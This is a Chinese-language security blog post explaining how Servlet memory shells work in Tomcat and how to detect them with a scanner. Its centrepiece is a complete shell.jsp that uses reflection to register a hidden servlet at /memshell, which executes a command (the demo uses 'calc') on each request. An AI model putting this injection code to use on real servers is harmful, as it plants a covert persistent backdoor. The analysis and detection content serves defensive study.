Java Servlet 内存马浅析

admin 2025年6月3日10:00:44评论16 views字数 4864阅读16分12秒阅读模式

需结合 https://xz.aliyun.com/news/12075 文章来看

什么是 Servlet 内存马?

Servlet 内存马是通过在 Web 容器中动态注册、修改或劫持现有 Servlet 的逻辑,来响应特定的 HTTP 请求,实现持久化后门的技术。

环境搭建

创建 Java web 项目。

Java Servlet 内存马浅析

在项目下,创建一个类。

Java Servlet 内存马浅析

编写一段代码。

package com.xg.ntai.memshell;import jakarta.servlet.annotation.WebServlet;import jakarta.servlet.http.HttpServlet;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/customize")publicclassCustomizeServletextendsHttpServlet{@OverrideprotectedvoiddoGet(HttpServletRequest request, HttpServletResponse response)throws IOException {        response.getWriter().println("CustomizeServlet");    }}

添加所需依赖,版本要对应。

Java Servlet 内存马浅析

简单分析

Ctrl+Shift+ A 查找 ContextConfig类。

Java Servlet 内存马浅析

定位到 configureContext代码部分,打上断点,进行调试。

Java Servlet 内存马浅析

configureContext 是 Tomcat 中 Catalina 容器在部署 Web 应用时用于动态配置 Context(Web 应用上下文)的核心方法。它负责将应用的配置(如 web.xml、注解、动态规则)加载到 Tomcat 的运行时环境中,直接影响 Web 应用的行为。

当 Tomcat 启动或热部署一个 Web 应用时,ContextConfig 会通过 configureContext 完成以下关键操作:

  1. 解析 web.xml:加载并应用 web.xml 中定义的 Servlet、Filter、Listener 等组件。
  2. 处理注解:扫描 @WebServlet、@WebFilter 等注解,动态注册相关组件。
  3. 配置安全性:设置 Realm(用户认证)、安全约束(URL 访问权限)等。
  4. 初始化环境:绑定 JNDI 资源、错误页面、MIME 类型等。

webxml:

Java Servlet 内存马浅析

servlets 和 servletMappings:

Java Servlet 内存马浅析

addChild()

this.context.addChild(wrapper) 负责将 WebXml 解析出的配置信息应用到当前的 Context 对象上。这个过程包括创建一个 Wrapper 对象,根据 WebXml 中配置的 Servlet 信息对其进行设置,然后将其添加到 Context 中。

Java Servlet 内存马浅析

  • this.context: Context 对象,代表一个 Web 应用的上下文环境。

wrapper 是 Servlet 的一个封装,包含了许多与 Servlet 相关的信息,比如 Servlet 的名称、初始化参数、安全角色引用等。

addServletMappingDecoded()

this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue()) 负责从 WebXml 对象中获取 Servlet 的映射关系,并将其添加到当前的 Context 对象中。

Java Servlet 内存马浅析
  • addServletMappingDecoded: Context 接口的方法,用于添加一个 Servlet 映射。
  • (String)entry.getKey(): Servlet 映射的 URL 模式。
  • (String)entry.getValue(): 与 URL 模式相关联的 Servlet 名称。

entry 是一个 Map 的 Entry 对象,其中 key 是 URL 模式,value 是 Servlet 的名称。

Java Servlet 内存马浅析

获取 Context

可通过 request.getServletContext() 获取。

Java Servlet 内存马浅析

动态添加自定义 Serlvet

新建 JSP 文件(shell.jsp),并写入以下代码:

<%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><%!    public static class MemServlet extends HttpServlet {        @Override        protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {            ProcessBuilder processbuilder = new ProcessBuilder("calc");            processbuilder.start();        }    }%><%    // 获取当前 JSP 页面所属的 ServletContext 对象。    // 这个对象代表了 Web 应用程序的环境,可以从中获取一些全局信息和资源。    ServletContext servletContext = request.getServletContext();    // org.apache.catalina.core.ApplicationContextFacade@6c55c244    // 使用反射机制获取 ServletContext 对象内部的私有字段 context,该字段类型为 ApplicationContext。    Field applicationContextField = servletContext.getClass().getDeclaredField("context");    // private final org.apache.catalina.core.ApplicationContext org.apache.catalina.core.ApplicationContextFacade.context    applicationContextField.setAccessible(true);    // 获取 ApplicationContext 对象,该对象代表了当前 Web 应用程序的配置信息。    ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);    // org.apache.catalina.core.ApplicationContext@10eccd6c    // 使用反射机制获取 ApplicationContext 对象内部的私有字段 context,该字段类型为 StandardContext。    // 该字段代表了当前 Web 应用程序的上下文信息,可以获取到当前 Web 应用程序的各个组件。    Field standardContextField = applicationContext.getClass().getDeclaredField("context");    // private final org.apache.catalina.core.StandardContext org.apache.catalina.core.ApplicationContext.context    standardContextField.setAccessible(true);    // 获取 StandardContext 对象,该对象代表了当前 Web 应用程序的上下文信息。    StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);    // StandardEngine[Catalina].StandardHost[localhost].StandardContext[/memshell_war_exploded]    // 创建一个 Wrapper 对象,Wrapper 是 Tomcat 中用于封装 Servlet 的类。    // 每个 Servlet 在 Tomcat 中都有一个对应的 Wrapper 实例。    Wrapper wrapper = standardContext.createWrapper();    // 设置 Wrapper 的名称,这将作为 Servlet 的注册名称。    wrapper.setName("MemShell");    // 设置 Wrapper 指向的 Servlet 类为 MemServlet.class.getName()。    // 即我们在第一部分定义的 MemServlet 类的全限定名。    wrapper.setServletClass(MemServlet.class.getName());    // 实例化一个 MemServlet 对象,并将其设置为 Wrapper 的 Servlet 实例。    wrapper.setServlet(new MemServlet());    // 将 Wrapper 添加到当前 Web 应用程序的上下文信息中。    standardContext.addChild(wrapper);    // 注册一个 Servlet 映射,将 /memshell 路径映射到 MemShell 名称的 Servlet。    standardContext.addServletMappingDecoded("/memshell""MemShell");%>

这段代码的主要功能是在运行时动态地向 Web 应用程序中添加一个名为 "MemShell" 的 Servlet,并将其映射到 "/memshell" 路径。当访问该路径时,Servlet 将会执行 doGet 方法,启动一个计算器程序("calc")。

  • <%! %>:JSP 的声明部分,用于在 JSP 页面中定义类、方法或字段。因为 MemServlet 类定义在这个部分,所以在整个 JSP 页面中都可以使用这个类。
  • MemServlet 类:继承 HttpServlet 的静态内部类。HttpServlet 是 Java Servlet API 中的一个抽象类,用于处理 HTTP 请求。
  • doGet 方法:重写的 doGet 方法,用于处理 HTTP GET 请求。每当该 Servlet 被 GET 方法请求时,它会执行 doGet 方法中的代码。
  • <% %>:JSP 的脚本片段,用于在 JSP 页面中嵌入 Java 代码。这里的代码会在页面被访问时执行。
查杀 Servlet 内存马

可以使用 tomcat-memshell-scanner。

原理是通过反射机制,访问 Tomcat 内部对象,实现对内存中 Servlet、Filter 和 Listener 的管理。

运行 shell.jsp 之前:

Java Servlet 内存马浅析

运行 shell.jsp 之后:

Java Servlet 内存马浅析

原文始发于微信公众号(走在网安路上的哥布林):Java Servlet 内存马浅析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月3日10:00:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java Servlet 内存马浅析https://cn-sec.com/archives/3872204.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息